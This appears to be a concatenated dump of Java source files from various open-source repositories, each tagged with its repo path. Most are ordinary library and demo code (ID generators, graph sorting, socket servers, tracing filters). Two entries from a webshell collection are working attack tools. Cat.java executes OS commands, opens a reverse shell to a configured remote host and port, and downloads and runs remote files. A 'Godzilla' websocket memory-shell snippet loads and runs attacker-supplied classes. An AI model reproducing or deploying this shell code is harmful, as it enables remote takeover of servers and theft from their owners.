System.setProperty("sun.net.http.allowRestrictedHeaders", "true"); //处理MAC dock图标 if (OsUtil.isMac()) { try { Class<?> appClass = Class.forName("com.apple.eawt.Application"); Method getApplication = appClass.getMethod("getApplication"); Object application = getApplication.invoke(appClass); Method setDockIconImage = appClass.getMethod("setDockIconImage", Image.class); URL url = Thread.currentThread().getContextClassLoader().getResource("mac/dock_logo.png"); Image image = Toolkit.getDefaultToolkit().getImage(url); setDockIconImage.invoke(application, image); } catch (Exception e) { LOGGER.error("handle mac dock icon error", e); } } } private static final int REST_PORT = 26339; private static void doCheck() { if (OsUtil.isBusyPort(REST_PORT)) { JOptionPane.showMessageDialog( null, I18nUtil.getMessage("gui.alert.startError", I18nUtil.getMessage("gui.alert.restPortBusy")), I18nUtil.getMessage("gui.warning"), JOptionPane.WARNING_MESSAGE); System.exit(0); } } //-Dio.netty.leakDetection.level=PARANOID //https://stackoverflow.com/questions/39192528/how-can-you-send-information-to-the-windows-task-bar-from-java-o-javafx public static void main(String[] args) { //get free port doCheck(); launch(args); } }
proxyee-down-org/proxyee-down
main/src/main/java/org/pdown/gui/DownApplication.java
50
/* * Copyright 1999-2018 Alibaba Group Holding Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.druid.util; /** * Java: 无回路有向图(Directed Acyclic Graph)的拓扑排序 * 该DAG图是通过邻接表实现的。 * <p> * author skywang * date 2014/04/22 */ import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Queue; public class ListDG { public static class Edge { public Object from; public Object to; public Edge(Object from, Object to) { this.from = from; this.to = to; } } // 邻接表中表对应的链表的顶点 private static class ENode { int ivex; // 该边所指向的顶点的位置 ENode nextEdge; // 指向下一条弧的指针 } // 邻接表中表的顶点 private static class VNode { Object data; // 顶点信息 ENode firstEdge; // 指向第一条依附该顶点的弧 } private List<VNode> mVexs; // 顶点数组 /* * 创建图(用已提供的矩阵) * * 参数说明: * vexs -- 顶点数组 * edges -- 边数组 */ public ListDG(List vexs, List<Edge> edges) { // 初始化"顶点数"和"边数" int vlen = vexs.size(); int elen = edges.size(); // 初始化"顶点" mVexs = new ArrayList<VNode>(); for (int i = 0; i < vlen; i++) { // 新建VNode VNode vnode = new VNode(); vnode.data = vexs.get(i); vnode.firstEdge = null; // 将vnode添加到数组mVexs中 mVexs.add(vnode); } // 初始化"边" for (int i = 0; i < elen; i++) { // 读取边的起始顶点和结束顶点 Object c1 = edges.get(i).from; Object c2 = edges.get(i).to; // 读取边的起始顶点和结束顶点 int p1 = getPosition(edges.get(i).from); int p2 = getPosition(edges.get(i).to); // 初始化node1 ENode node1 = new ENode(); node1.ivex = p2; // 将node1链接到"p1所在链表的末尾" if (mVexs.get(p1).firstEdge == null) { mVexs.get(p1).firstEdge = node1; } else { linkLast(mVexs.get(p1).firstEdge, node1); } } } /* * 将node节点链接到list的最后 */ private void linkLast(ENode list, ENode node) { ENode p = list; while (p.nextEdge != null) { p = p.nextEdge; } p.nextEdge = node; } /* * 返回ch位置 */ private int getPosition(Object ch) { for (int i = 0; i < mVexs.size(); i++) { if (mVexs.get(i).data == ch) { return i; } } return -1; } /* * 深度优先搜索遍历图的递归实现 */ private void DFS(int i, boolean[] visited) { ENode node; visited[i] = true; node = mVexs.get(i).firstEdge; while (node != null) { if (!visited[node.ivex]) { DFS(node.ivex, visited); } node = node.nextEdge; } } /* * 深度优先搜索遍历图 */ public void DFS() { boolean[] visited = new boolean[mVexs.size()]; // 顶点访问标记 // 初始化所有顶点都没有被访问 for (int i = 0; i < mVexs.size(); i++) { visited[i] = false; } for (int i = 0; i < mVexs.size(); i++) { if (!visited[i]) { DFS(i, visited); } } } /* * 广度优先搜索(类似于树的层次遍历) */ public void BFS() { int head = 0; int rear = 0; int[] queue = new int[mVexs.size()]; // 辅组队列 boolean[] visited = new boolean[mVexs.size()]; // 顶点访问标记 for (int i = 0; i < mVexs.size(); i++) { visited[i] = false; } for (int i = 0; i < mVexs.size(); i++) { if (!visited[i]) { visited[i] = true; System.out.printf("%c ", mVexs.get(i).data); queue[rear++] = i; // 入队列 } while (head != rear) { int j = queue[head++]; // 出队列 ENode node = mVexs.get(j).firstEdge; while (node != null) { int k = node.ivex; if (!visited[k]) { visited[k] = true; System.out.printf("%c ", mVexs.get(k).data); queue[rear++] = k; } node = node.nextEdge; } } } } /* * 打印矩阵队列图 */ public void print() { System.out.print("== List Graph:\n"); for (int i = 0; i < mVexs.size(); i++) { System.out.printf("%d(%c): ", i, mVexs.get(i).data); ENode node = mVexs.get(i).firstEdge; while (node != null) { System.out.printf("%d(%c) ", node.ivex, mVexs.get(node.ivex).data); node = node.nextEdge; } } } public boolean topologicalSort() { return topologicalSort(new Object[mVexs.size()]); } /* * 拓扑排序 * * 返回值: * true 成功排序,并输入结果 * false 失败(该有向图是有环的) */ public boolean topologicalSort(Object[] tops) { int index = 0; int num = mVexs.size(); int[] ins; // 入度数组 //Object[] tops; // 拓扑排序结果数组,记录每个节点的排序后的序号。 Queue<Integer> queue; // 辅组队列 ins = new int[num]; //tops = new Object[num]; queue = new LinkedList<Integer>(); // 统计每个顶点的入度数 for (int i = 0; i < num; i++) { ENode node = mVexs.get(i).firstEdge; while (node != null) { ins[node.ivex]++; node = node.nextEdge; } } // 将所有入度为0的顶点入队列 for (int i = 0; i < num; i++) { if (ins[i] == 0) { queue.offer(i); // 入队列 } } while (!queue.isEmpty()) { // 队列非空 int j = queue.poll().intValue(); // 出队列。j是顶点的序号 tops[index++] = mVexs.get(j).data; // 将该顶点添加到tops中,tops是排序结果 ENode node = mVexs.get(j).firstEdge; // 获取以该顶点为起点的出边队列 // 将与"node"关联的节点的入度减1; // 若减1之后,该节点的入度为0;则将该节点添加到队列中。 while (node != null) { // 将节点(序号为node.ivex)的入度减1。 ins[node.ivex]--; // 若节点的入度为0,则将其"入队列" if (ins[node.ivex] == 0) { queue.offer(node.ivex); // 入队列 } node = node.nextEdge; } } if (index != num) { return false; } return true; } // public static void main(String[] args) { // Object[] vexs = {'A', 'B', 'C', 'D', 'E', 'F', 'G'}; // Edge[] edges = new Edge[]{ // new Edge(vexs[0], vexs[6]), // new Edge(vexs[1], vexs[0]), // new Edge(vexs[1], vexs[3]), // new Edge(vexs[2], vexs[5]), // new Edge(vexs[2], vexs[6]), // new Edge(vexs[3], vexs[4]), // new Edge(vexs[3], vexs[5])}; // ListDG pG; // // // 自定义"图"(输入矩阵队列) // //pG = new ListDG(); // // 采用已有的"图" // pG = new ListDG(Arrays.asList(vexs), Arrays.asList(edges)); // // pG.print(); // 打印图 // //pG.DFS(); // 深度优先遍历 // //pG.BFS(); // 广度优先遍历 // pG.topologicalSort(); // 拓扑排序 // } }
alibaba/druid
core/src/main/java/com/alibaba/druid/util/ListDG.java
51
package com.neo.entity; import javax.persistence.*; import java.util.List; @Entity public class SysRole { @Id@GeneratedValue private Integer id; // 编号 private String role; // 角色标识程序中判断使用,如"admin",这个是唯一的: private String description; // 角色描述,UI界面显示使用 private Boolean available = Boolean.FALSE; // 是否可用,如果不可用将不会添加给用户 //角色 -- 权限关系:多对多关系; @ManyToMany(fetch= FetchType.EAGER) @JoinTable(name="SysRolePermission",joinColumns={@JoinColumn(name="roleId")},inverseJoinColumns={@JoinColumn(name="permissionId")}) private List<SysPermission> permissions; // 用户 - 角色关系定义; @ManyToMany @JoinTable(name="SysUserRole",joinColumns={@JoinColumn(name="roleId")},inverseJoinColumns={@JoinColumn(name="uid")}) private List<UserInfo> userInfos;// 一个角色对应多个用户 public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getRole() { return role; } public void setRole(String role) { this.role = role; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public Boolean getAvailable() { return available; } public void setAvailable(Boolean available) { this.available = available; } public List<SysPermission> getPermissions() { return permissions; } public void setPermissions(List<SysPermission> permissions) { this.permissions = permissions; } public List<UserInfo> getUserInfos() { return userInfos; } public void setUserInfos(List<UserInfo> userInfos) { this.userInfos = userInfos; } }
ityouknow/spring-boot-examples
1.x/spring-boot-shiro/src/main/java/com/neo/entity/SysRole.java
52
package cn.hutool.core.util; import cn.hutool.core.exceptions.UtilException; import cn.hutool.core.lang.Assert; import cn.hutool.core.lang.ObjectId; import cn.hutool.core.lang.Singleton; import cn.hutool.core.lang.Snowflake; import cn.hutool.core.lang.UUID; import cn.hutool.core.lang.id.NanoId; import cn.hutool.core.net.NetUtil; /** * ID生成器工具类,此工具类中主要封装: * * <pre> * 1. 唯一性ID生成器:UUID、ObjectId(MongoDB)、Snowflake * </pre> * * <p> * ID相关文章见:http://calvin1978.blogcn.com/articles/uuid.html * * @author looly * @since 4.1.13 */ public class IdUtil { // ------------------------------------------------------------------- UUID /** * 获取随机UUID * * @return 随机UUID */ public static String randomUUID() { return UUID.randomUUID().toString(); } /** * 简化的UUID,去掉了横线 * * @return 简化的UUID,去掉了横线 */ public static String simpleUUID() { return UUID.randomUUID().toString(true); } /** * 获取随机UUID,使用性能更好的ThreadLocalRandom生成UUID * * @return 随机UUID * @since 4.1.19 */ public static String fastUUID() { return UUID.fastUUID().toString(); } /** * 简化的UUID,去掉了横线,使用性能更好的ThreadLocalRandom生成UUID * * @return 简化的UUID,去掉了横线 * @since 4.1.19 */ public static String fastSimpleUUID() { return UUID.fastUUID().toString(true); } /** * 创建MongoDB ID生成策略实现<br> * ObjectId由以下几部分组成: * * <pre> * 1. Time 时间戳。 * 2. Machine 所在主机的唯一标识符,一般是机器主机名的散列值。 * 3. PID 进程ID。确保同一机器中不冲突 * 4. INC 自增计数器。确保同一秒内产生objectId的唯一性。 * </pre> * <p> * 参考:http://blog.csdn.net/qxc1281/article/details/54021882 * * @return ObjectId */ public static String objectId() { return ObjectId.next(); } /** * 创建Twitter的Snowflake 算法生成器。 * <p> * 特别注意:此方法调用后会创建独立的{@link Snowflake}对象,每个独立的对象ID不互斥,会导致ID重复,请自行保证单例! * </p> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @param datacenterId 数据中心ID * @return {@link Snowflake} * @deprecated 此方法容易产生歧义:多个Snowflake实例产生的ID会产生重复,此对象在单台机器上必须单例,请使用{@link #getSnowflake(long, long)} */ @Deprecated public static Snowflake createSnowflake(long workerId, long datacenterId) { return new Snowflake(workerId, datacenterId); } /** * 获取单例的Twitter的Snowflake 算法生成器对象<br> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @param datacenterId 数据中心ID * @return {@link Snowflake} * @since 4.5.9 */ public static Snowflake getSnowflake(long workerId, long datacenterId) { return Singleton.get(Snowflake.class, workerId, datacenterId); } /** * 获取单例的Twitter的Snowflake 算法生成器对象<br> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @return {@link Snowflake} * @since 5.7.3 */ public static Snowflake getSnowflake(long workerId) { return Singleton.get(Snowflake.class, workerId); } /** * 获取单例的Twitter的Snowflake 算法生成器对象<br> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位datacenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @return {@link Snowflake} * @since 5.7.3 */ public static Snowflake getSnowflake() { return Singleton.get(Snowflake.class); } /** * 获取数据中心ID<br> * 数据中心ID依赖于本地网卡MAC地址。 * <p> * 此算法来自于mybatis-plus#Sequence * </p> * * @param maxDatacenterId 最大的中心ID * @return 数据中心ID * @since 5.7.3 */ public static long getDataCenterId(long maxDatacenterId) { Assert.isTrue(maxDatacenterId > 0, "maxDatacenterId must be > 0"); if(maxDatacenterId == Long.MAX_VALUE){ maxDatacenterId -= 1; } long id = 1L; byte[] mac = null; try{ mac = NetUtil.getLocalHardwareAddress(); }catch (UtilException ignore){ // ignore } if (null != mac) { id = ((0x000000FF & (long) mac[mac.length - 2]) | (0x0000FF00 & (((long) mac[mac.length - 1]) << 8))) >> 6; id = id % (maxDatacenterId + 1); } return id; } /** * 获取机器ID,使用进程ID配合数据中心ID生成<br> * 机器依赖于本进程ID或进程名的Hash值。 * * <p> * 此算法来自于mybatis-plus#Sequence * </p> * * @param datacenterId 数据中心ID * @param maxWorkerId 最大的机器节点ID * @return ID * @since 5.7.3 */ public static long getWorkerId(long datacenterId, long maxWorkerId) { final StringBuilder mpid = new StringBuilder(); mpid.append(datacenterId); try { mpid.append(RuntimeUtil.getPid()); } catch (UtilException igonre) { //ignore } /* * MAC + PID 的 hashcode 获取16个低位 */ return (mpid.toString().hashCode() & 0xffff) % (maxWorkerId + 1); } // ------------------------------------------------------------------- NanoId /** * 获取随机NanoId * * @return 随机NanoId * @since 5.7.5 */ public static String nanoId() { return NanoId.randomNanoId(); } /** * 获取随机NanoId * * @param size ID中的字符数量 * @return 随机NanoId * @since 5.7.5 */ public static String nanoId(int size) { return NanoId.randomNanoId(size); } /** * 简单获取Snowflake 的 nextId * 终端ID 数据中心ID 默认为1 * * @return nextId * @since 5.7.18 */ public static long getSnowflakeNextId() { return getSnowflake().nextId(); } /** * 简单获取Snowflake 的 nextId * 终端ID 数据中心ID 默认为1 * * @return nextIdStr * @since 5.7.18 */ public static String getSnowflakeNextIdStr() { return getSnowflake().nextIdStr(); } }
dromara/hutool
hutool-core/src/main/java/cn/hutool/core/util/IdUtil.java
53
package com.xkcoding.swagger.common; /** * <p> * 方便在 @ApiImplicitParam 的 paramType 属性使用 * </p> * * @author yangkai.shen * @date Created in 2018-11-29 13:24 */ public final class ParamType { public final static String QUERY = "query"; public final static String HEADER = "header"; public final static String PATH = "path"; public final static String BODY = "body"; public final static String FORM = "form"; }
xkcoding/spring-boot-demo
demo-swagger/src/main/java/com/xkcoding/swagger/common/ParamType.java
54
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.Socket; import java.net.URL; import java.net.UnknownHostException; import java.util.Properties; import java.util.regex.Pattern; public class Cat { static String encoding = "UTF-8"; static{ encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding; } /** * 获取配置文件 * @return * @throws IOException */ public static Properties getProperties() throws IOException { Properties p = new Properties(); p.load(Cat.class.getClass().getResourceAsStream("/config.properties")); return p; } /** * 异常转换成字符串,获取详细异常信息 * @param e * @return */ public static String exceptionToString(Exception e) { StringWriter sw = new StringWriter(); e.printStackTrace(new PrintWriter(sw, true)); return sw.toString(); } /** * 获取系统文件编码 * @return */ public static String getSystemEncoding(){ return System.getProperty("sun.jnu.encoding"); } /** * 非空判断 * * @param obj * @return */ public static boolean isNotEmpty(Object obj) { if (obj == null) { return false; } return !"".equals(String.valueOf(obj).trim()); } /** * 输入流转二进制数组输出流 * @param in * @return * @throws IOException */ public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = 0; while((a = in.read(b))!=-1){ baos.write(b,0,a); } return baos; } /** * 复制流到文件,如果文件存在默认会覆盖 * @param in * @param path * @throws IOException */ public static void copyInputStreamToFile(InputStream in,String path) throws IOException{ FileOutputStream fos = new FileOutputStream(path); fos.write(inutStreamToOutputStream(in).toByteArray()); fos.flush(); fos.close(); } /** * 模仿Linux下的cat Windows下的type 查看文件内容 * @param path * @return * @throws IOException */ public static String cat(String path) throws IOException { return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray()); } /** * 执行操作系统命令 如果是windows某些命令执行不了,可以用 cmd /c dir 执行dir命令 * @param cmd * @return */ public static String exec(String cmd) { try { return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding); } catch (IOException e) { return exceptionToString(e); } } /** * 下载文件到指定目录,保存的文件名必须指定 * @param url * @param path * @throws MalformedURLException * @throws IOException */ public static void download(String url,String path) throws MalformedURLException, IOException{ copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path); } /** * 连接远程端口,提供本地命令执行入口 * @param host * @param port * @throws UnknownHostException * @throws IOException */ public static void shell(String host,int port) throws UnknownHostException, IOException{ Socket s = new Socket(host,port); OutputStream out = s.getOutputStream(); InputStream in = s.getInputStream(); out.write(("User:\t"+exec("whoami")).getBytes()); int a = 0; byte[] b = new byte[4096]; while((a=in.read(b))!=-1){ out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8")); } } /** * 下载远程文件并执行,命令执行完成后会删除下载的文件 * @param url * @param fileName * @param cmd * @return * @throws MalformedURLException * @throws IOException */ public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{ String tmpDir = System.getProperty("java.io.tmpdir"); File tmpFile = new File(tmpDir,fileName); download(url, tmpFile.toString()); String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator)); tmpFile.delete(); return out; } public static Method getMethod(String method){ Method[] methods = Cat.class.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { Method m = methods[i]; if(method.equals(m.getName())){ return m; } } return null; } public static void main(String[] args) { try { Properties p = getProperties(); shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port"))); } catch (Exception e) { e.printStackTrace(); } } }
tennc/webshell
jsp/cat/Cat.java
55
package cn.hutool.socket.aio; import cn.hutool.core.io.IORuntimeException; import cn.hutool.core.io.IoUtil; import cn.hutool.core.thread.ThreadFactoryBuilder; import cn.hutool.core.thread.ThreadUtil; import cn.hutool.log.Log; import cn.hutool.log.LogFactory; import cn.hutool.socket.SocketConfig; import java.io.Closeable; import java.io.IOException; import java.net.InetSocketAddress; import java.net.SocketOption; import java.nio.ByteBuffer; import java.nio.channels.AsynchronousChannelGroup; import java.nio.channels.AsynchronousServerSocketChannel; /** * 基于AIO的Socket服务端实现 * * @author looly */ public class AioServer implements Closeable { private static final Log log = LogFactory.get(); private static final AcceptHandler ACCEPT_HANDLER = new AcceptHandler(); private AsynchronousChannelGroup group; private AsynchronousServerSocketChannel channel; protected IoAction<ByteBuffer> ioAction; protected final SocketConfig config; /** * 构造 * * @param port 端口 */ public AioServer(int port) { this(new InetSocketAddress(port), new SocketConfig()); } /** * 构造 * * @param address 地址 * @param config {@link SocketConfig} 配置项 */ public AioServer(InetSocketAddress address, SocketConfig config) { this.config = config; init(address); } /** * 初始化 * * @param address 地址和端口 * @return this */ public AioServer init(InetSocketAddress address) { try { this.group = AsynchronousChannelGroup.withFixedThreadPool(// config.getThreadPoolSize(), // 默认线程池大小 ThreadFactoryBuilder.create().setNamePrefix("Hutool-socket-").build()// ); this.channel = AsynchronousServerSocketChannel.open(group).bind(address); } catch (IOException e) { throw new IORuntimeException(e); } return this; } /** * 开始监听 * * @param sync 是否阻塞 */ public void start(boolean sync) { doStart(sync); } /** * 设置 Socket 的 Option 选项<br> * 选项见:{@link java.net.StandardSocketOptions} * * @param <T> 选项泛型 * @param name {@link SocketOption} 枚举 * @param value SocketOption参数 * @return this * @throws IOException IO异常 */ public <T> AioServer setOption(SocketOption<T> name, T value) throws IOException { this.channel.setOption(name, value); return this; } /** * 获取IO处理器 * * @return {@link IoAction} */ public IoAction<ByteBuffer> getIoAction() { return this.ioAction; } /** * 设置IO处理器,单例存在 * * @param ioAction {@link IoAction} * @return this; */ public AioServer setIoAction(IoAction<ByteBuffer> ioAction) { this.ioAction = ioAction; return this; } /** * 获取{@link AsynchronousServerSocketChannel} * * @return {@link AsynchronousServerSocketChannel} */ public AsynchronousServerSocketChannel getChannel() { return this.channel; } /** * 处理接入的客户端 * * @return this */ public AioServer accept() { this.channel.accept(this, ACCEPT_HANDLER); return this; } /** * 服务是否开启状态 * * @return 服务是否开启状态 */ public boolean isOpen() { return (null != this.channel) && this.channel.isOpen(); } /** * 关闭服务 */ @Override public void close() { IoUtil.close(this.channel); if (null != this.group && false == this.group.isShutdown()) { try { this.group.shutdownNow(); } catch (IOException e) { // ignore } } // 结束阻塞 synchronized (this) { this.notify(); } } // ------------------------------------------------------------------------------------- Private method start /** * 开始监听 * * @param sync 是否阻塞 */ private void doStart(boolean sync) { log.debug("Aio Server started, waiting for accept."); // 接收客户端连接 accept(); if (sync) { ThreadUtil.sync(this); } } // ------------------------------------------------------------------------------------- Private method end }
dromara/hutool
hutool-socket/src/main/java/cn/hutool/socket/aio/AioServer.java
56
// 哥斯拉实现websocket马核心代码片段 //由于是反编译修改了原作者的软件,所以并不会公布工具,但会陆续公开实现代码和实现过程原理 public void onMessage(ByteBuffer databf) { try { data=x(databf.array(), false); if (session.getUserProperties().get("payload")==null){ session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data)); session.getBasicRemote().sendObject(x("ok".getBytes(), true)); }else{ session.getUserProperties().put("parameters", data); Object f=((Class)session.getUserProperties().get("payload")).newInstance(); java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream(); f.equals(arrOut); f.equals(session); f.equals(data); f.toString(); session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true)); } } catch (Exception ignored) { } }
tennc/webshell
wsMemShell/Godzilla.java
57
package com.dianping.cat.context.context; import com.dianping.cat.Cat; import com.dianping.cat.CatConstants; import com.dianping.cat.context.CatConstantsExt; import com.dianping.cat.context.CatContextImpl; import com.dianping.cat.message.Message; import com.dianping.cat.message.Transaction; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; /** * http协议传输,远程调用链目标端接收context的filter, * 通过header接收rootId、parentId、childId并放入CatContextImpl中,调用Cat.logRemoteCallServer()进行调用链关联 * 注:若不涉及调用链,则直接使用cat-client.jar中提供的filter即可 * 使用方法(视项目框架而定): * 1、web项目:在web.xml中引用此filter * 2、Springboot项目,通过注入bean的方式注入此filter * @author soar * @date 2019-01-10 */ public class CatContextServletFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) servletRequest; String uri = request.getRequestURI(); //若header中有context相关属性,则生成调用链,若无,仅统计请求的Transaction if(null != request.getHeader(com.dianping.cat.context.CatConstantsExt.CAT_HTTP_HEADER_ROOT_MESSAGE_ID)){ com.dianping.cat.context.CatContextImpl catContext = new CatContextImpl(); catContext.addProperty(Cat.Context.ROOT,request.getHeader(com.dianping.cat.context.CatConstantsExt.CAT_HTTP_HEADER_ROOT_MESSAGE_ID)); catContext.addProperty(Cat.Context.PARENT,request.getHeader(com.dianping.cat.context.CatConstantsExt.CAT_HTTP_HEADER_PARENT_MESSAGE_ID)); catContext.addProperty(Cat.Context.CHILD,request.getHeader(com.dianping.cat.context.CatConstantsExt.CAT_HTTP_HEADER_CHILD_MESSAGE_ID)); Cat.logRemoteCallServer(catContext); } Transaction filterTransaction = Cat.newTransaction(CatConstants.TYPE_URL,uri); try{ Cat.logEvent(com.dianping.cat.context.CatConstantsExt.Type_URL_METHOD,request.getMethod(), Message.SUCCESS,request.getRequestURL().toString()); Cat.logEvent(CatConstantsExt.Type_URL_CLIENT,request.getRemoteHost()); filterChain.doFilter(servletRequest,servletResponse); filterTransaction.setSuccessStatus(); }catch (Exception e){ filterTransaction.setStatus(e); Cat.logError(e); }finally { filterTransaction.complete(); } } @Override public void destroy() { } }
dianping/cat
integration/context/CatContextServletFilter.java
58
package cn.hutool.core.io.file; import cn.hutool.core.io.IORuntimeException; import cn.hutool.core.io.IoUtil; import cn.hutool.core.io.file.visitor.CopyVisitor; import cn.hutool.core.io.file.visitor.DelVisitor; import cn.hutool.core.io.resource.FileResource; import cn.hutool.core.io.resource.Resource; import cn.hutool.core.lang.Assert; import cn.hutool.core.util.CharsetUtil; import java.io.*; import java.nio.charset.Charset; import java.nio.file.*; import java.nio.file.attribute.BasicFileAttributes; import java.util.ArrayList; import java.util.EnumSet; import java.util.List; import java.util.Set; /** * NIO中Path对象操作封装 * * @author looly * @since 5.4.1 */ public class PathUtil { /** * 目录是否为空 * * @param dirPath 目录 * @return 是否为空 * @throws IORuntimeException IOException */ public static boolean isDirEmpty(Path dirPath) { try (DirectoryStream<Path> dirStream = Files.newDirectoryStream(dirPath)) { return false == dirStream.iterator().hasNext(); } catch (IOException e) { throw new IORuntimeException(e); } } /** * 递归遍历目录以及子目录中的所有文件<br> * 如果提供path为文件,直接返回过滤结果 * * @param path 当前遍历文件或目录 * @param fileFilter 文件过滤规则对象,选择要保留的文件,只对文件有效,不过滤目录,null表示接收全部文件 * @return 文件列表 * @since 5.4.1 */ public static List<File> loopFiles(Path path, FileFilter fileFilter) { return loopFiles(path, -1, fileFilter); } /** * 递归遍历目录以及子目录中的所有文件<br> * 如果提供path为文件,直接返回过滤结果 * * @param path 当前遍历文件或目录 * @param maxDepth 遍历最大深度,-1表示遍历到没有目录为止 * @param fileFilter 文件过滤规则对象,选择要保留的文件,只对文件有效,不过滤目录,null表示接收全部文件 * @return 文件列表 * @since 5.4.1 */ public static List<File> loopFiles(Path path, int maxDepth, FileFilter fileFilter) { return loopFiles(path, maxDepth, false, fileFilter); } /** * 递归遍历目录以及子目录中的所有文件<br> * 如果提供path为文件,直接返回过滤结果 * * @param path 当前遍历文件或目录 * @param maxDepth 遍历最大深度,-1表示遍历到没有目录为止 * @param isFollowLinks 是否跟踪软链(快捷方式) * @param fileFilter 文件过滤规则对象,选择要保留的文件,只对文件有效,不过滤目录,null表示接收全部文件 * @return 文件列表 * @since 5.4.1 */ public static List<File> loopFiles(final Path path, final int maxDepth, final boolean isFollowLinks, final FileFilter fileFilter) { final List<File> fileList = new ArrayList<>(); if (!exists(path, isFollowLinks)) { return fileList; } else if (!isDirectory(path, isFollowLinks)) { final File file = path.toFile(); if (null == fileFilter || fileFilter.accept(file)) { fileList.add(file); } return fileList; } walkFiles(path, maxDepth, isFollowLinks, new SimpleFileVisitor<Path>() { @Override public FileVisitResult visitFile(final Path path, final BasicFileAttributes attrs) { final File file = path.toFile(); if (null == fileFilter || fileFilter.accept(file)) { fileList.add(file); } return FileVisitResult.CONTINUE; } }); return fileList; } /** * 遍历指定path下的文件并做处理 * * @param start 起始路径,必须为目录 * @param visitor {@link FileVisitor} 接口,用于自定义在访问文件时,访问目录前后等节点做的操作 * @see Files#walkFileTree(Path, java.util.Set, int, FileVisitor) * @since 5.5.2 */ public static void walkFiles(Path start, FileVisitor<? super Path> visitor) { walkFiles(start, -1, visitor); } /** * 遍历指定path下的文件并做处理 * * @param start 起始路径,必须为目录 * @param maxDepth 最大遍历深度,-1表示不限制深度 * @param visitor {@link FileVisitor} 接口,用于自定义在访问文件时,访问目录前后等节点做的操作 * @see Files#walkFileTree(Path, java.util.Set, int, FileVisitor) * @since 4.6.3 */ public static void walkFiles(Path start, int maxDepth, FileVisitor<? super Path> visitor) { walkFiles(start, maxDepth, false, visitor); } /** * 遍历指定path下的文件并做处理 * * @param start 起始路径,必须为目录 * @param maxDepth 最大遍历深度,-1表示不限制深度 * @param visitor {@link FileVisitor} 接口,用于自定义在访问文件时,访问目录前后等节点做的操作 * @param isFollowLinks 是否追踪到软链对应的真实地址 * @see Files#walkFileTree(Path, java.util.Set, int, FileVisitor) * @since 5.8.23 */ public static void walkFiles(final Path start, int maxDepth, final boolean isFollowLinks, final FileVisitor<? super Path> 